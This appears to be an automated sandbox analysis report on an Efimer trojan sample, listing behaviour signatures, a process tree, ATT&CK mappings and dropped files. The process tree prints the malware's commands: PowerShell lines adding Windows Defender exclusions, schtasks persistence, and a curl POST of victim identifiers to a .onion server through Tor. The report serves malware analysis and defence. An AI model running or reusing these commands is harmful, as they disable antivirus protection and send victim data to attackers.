Analysis
- max time kernel
149s - max time network
157s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
11/05/2026, 16:50
General
- Target common.exe
- Size 13.2MB
- Sample260511-vcja7ae13w
- SHA256 42a8e6ad1a82a151be979416c05f18d4b2f9bfffed25659b92e0a53be2eaef5b
Malware Config
Signatures
- Family: Efimer
Efimer is a trojan written in JS.
- Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs
Using powershell.exe command.
- Executes dropped EXE 2 IoCs
- Loads dropped DLL 15 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Suricata alert: Tor Node X.509 Certificate Pattern Detected - Inbound 2 IoCs
Network activity triggered a Suricata alert
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of WriteProcessMemory 19 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\common.exe"C:\Users\Admin\AppData\Local\Temp\common.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\common.exe"C:\Users\Admin\AppData\Local\Temp\common.exe"2⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\ibigi'""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Public\Documents\ibigi'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\cmd.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-MpPreference -ExclusionProcess 'C:\Windows\System32\clip.exe'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command "Get-MpComputerStatus | Out-Null""3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Get-MpComputerStatus | Out-Null"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SYSTEM32\curl.execurl -s --max-time 10 https://ipinfo.io/country3⤵
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn iboxo /xml C:\Users\Public\Documents\ibigi\iboxo.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /tn eyuyo /xml C:\Users\Public\Documents\ibigi\eyuyo.xml /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe1⤵
-
C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe C:\Users\Public\Documents\ibigi\eyuyo.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Public\Documents\ibigi\ugate.exe"C:\Users\Public\Documents\ibigi\ugate.exe"2⤵
- Executes dropped EXE
- Suricata alert: Tor Node X.509 Certificate Pattern Detected - Inbound
-
-
C:\Windows\System32\curl.exe"C:\Windows\System32\curl.exe" -X POST -d "version=2.0&GUID=vt1z-637ed960&FLAG=0&GEIP=GB&action=GUID" --socks5-hostname localhost:9050 http://cgky6bn6ux5wvlybtmm3z255igt52ljml2ngnc5qp3cnw5jlglamisad.onion/route.php --max-time 30 -o C:\Users\Admin\AppData\Local\Temp\cfile2⤵
-
-
C:\Users\Public\Documents\ibigi\ugate.exe"C:\Users\Public\Documents\ibigi\ugate.exe"2⤵
- Executes dropped EXE
-
-
C:\Windows\System32\wscript.exeC:\Windows\System32\wscript.exe C:\Users\Public\Documents\ibigi\iboxo.js1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2JavaScript
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
VCRUNTIME140.dll
VCRUNTIME140_1.dll
_bz2.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
_socket.pyd
_uuid.pyd
_wmi.pyd
base_library.zip
addrs.txt
jobfs_d.js
jobfs_n.js
jpack.js
task.xml
ugate.exe
words.txt
libcrypto-3.dll
libffi-8.dll
_psutil_windows.pyd
pyarmor_runtime.pyd
python3.DLL
python313.dll
select.pyd
unicodedata.pyd
__PSScriptPolicyTest_qbqdun42.mci.ps1
cfile
cached-certs
cached-microdesc-consensus
cached-microdescs.new
cached-microdescs.new
state
GUID
addrs.txt
cinfo.inf
eyuyo.js
eyuyo.xml
iboxo.js
iboxo.xml
ugate.exe
words.txt
memory/1312-224-0x000001E12BC10000-0x000001E12BC6D000-memory.dmp
memory/1896-178-0x000002C5AFA20000-0x000002C5AFA7D000-memory.dmp
memory/1896-180-0x000002C5B00A0000-0x000002C5B00B2000-memory.dmp
memory/1896-179-0x000002C5B0010000-0x000002C5B0018000-memory.dmp
memory/2092-223-0x0000016C44AB0000-0x0000016C44B0D000-memory.dmp
memory/2932-83-0x00007FF6FBEE0000-0x00007FF6FBF12000-memory.dmp
memory/2932-206-0x00007FF6FBEE0000-0x00007FF6FBF12000-memory.dmp
memory/3540-163-0x000001B161410000-0x000001B161422000-memory.dmp
memory/3540-162-0x000001B149220000-0x000001B149228000-memory.dmp
memory/3540-161-0x000001B148FD0000-0x000001B14902D000-memory.dmp
memory/3896-144-0x00000212DC710000-0x00000212DC76D000-memory.dmp
memory/3896-146-0x00000212DE0A0000-0x00000212DE0B2000-memory.dmp
memory/3896-145-0x00000212DE080000-0x00000212DE088000-memory.dmp
memory/3976-112-0x000002037C200000-0x000002037C212000-memory.dmp
memory/3976-110-0x000002037BA60000-0x000002037BABD000-memory.dmp
memory/3976-111-0x000002037BBB0000-0x000002037BBB8000-memory.dmp
memory/4152-282-0x0000022168770000-0x00000221687CD000-memory.dmp
memory/4152-222-0x0000022168770000-0x00000221687CD000-memory.dmp
memory/5056-204-0x0000000070180000-0x000000007022B000-memory.dmp
memory/5056-86-0x00000128E9140000-0x00000128E9148000-memory.dmp
memory/5056-85-0x0000000070180000-0x000000007022B000-memory.dmp
memory/5056-84-0x00007FF6FBEE0000-0x00007FF6FBF12000-memory.dmp
memory/5056-203-0x00007FF6FBEE0000-0x00007FF6FBF12000-memory.dmp
memory/5864-93-0x0000024AB5810000-0x0000024AB5818000-memory.dmp
memory/5864-81-0x0000024ACE070000-0x0000024ACE07A000-memory.dmp
memory/5864-88-0x0000024ACE0B0000-0x0000024ACE0B6000-memory.dmp
memory/5864-87-0x0000024ACE080000-0x0000024ACE088000-memory.dmp
memory/5864-61-0x0000024ACDE30000-0x0000024ACDE40000-memory.dmp
memory/5864-94-0x0000024AB5CA0000-0x0000024AB5CB2000-memory.dmp
memory/5864-92-0x0000024AB56B0000-0x0000024AB570D000-memory.dmp
memory/5864-82-0x0000024ACE0D0000-0x0000024ACE0EA000-memory.dmp
memory/5864-67-0x0000024ACDDE0000-0x0000024ACDE02000-memory.dmp
memory/5864-89-0x0000024ACE0C0000-0x0000024ACE0CA000-memory.dmp
memory/5864-80-0x0000024ACE090000-0x0000024ACE0AC000-memory.dmp
memory/5864-79-0x0000024ACE060000-0x0000024ACE06A000-memory.dmp
memory/5864-78-0x0000024ACDFA0000-0x0000024ACE053000-memory.dmp
memory/5864-77-0x0000024ACDF80000-0x0000024ACDF9C000-memory.dmp
memory/5864-70-0x00007FF427190000-0x00007FF4271A0000-memory.dmp
memory/5864-69-0x0000024ACDE30000-0x0000024ACDE40000-memory.dmp
memory/5992-127-0x0000018EDEE20000-0x0000018EDEE7D000-memory.dmp
memory/5992-128-0x0000018EDEF10000-0x0000018EDEF18000-memory.dmp
memory/5992-129-0x0000018EE0BC0000-0x0000018EE0BD2000-memory.dmp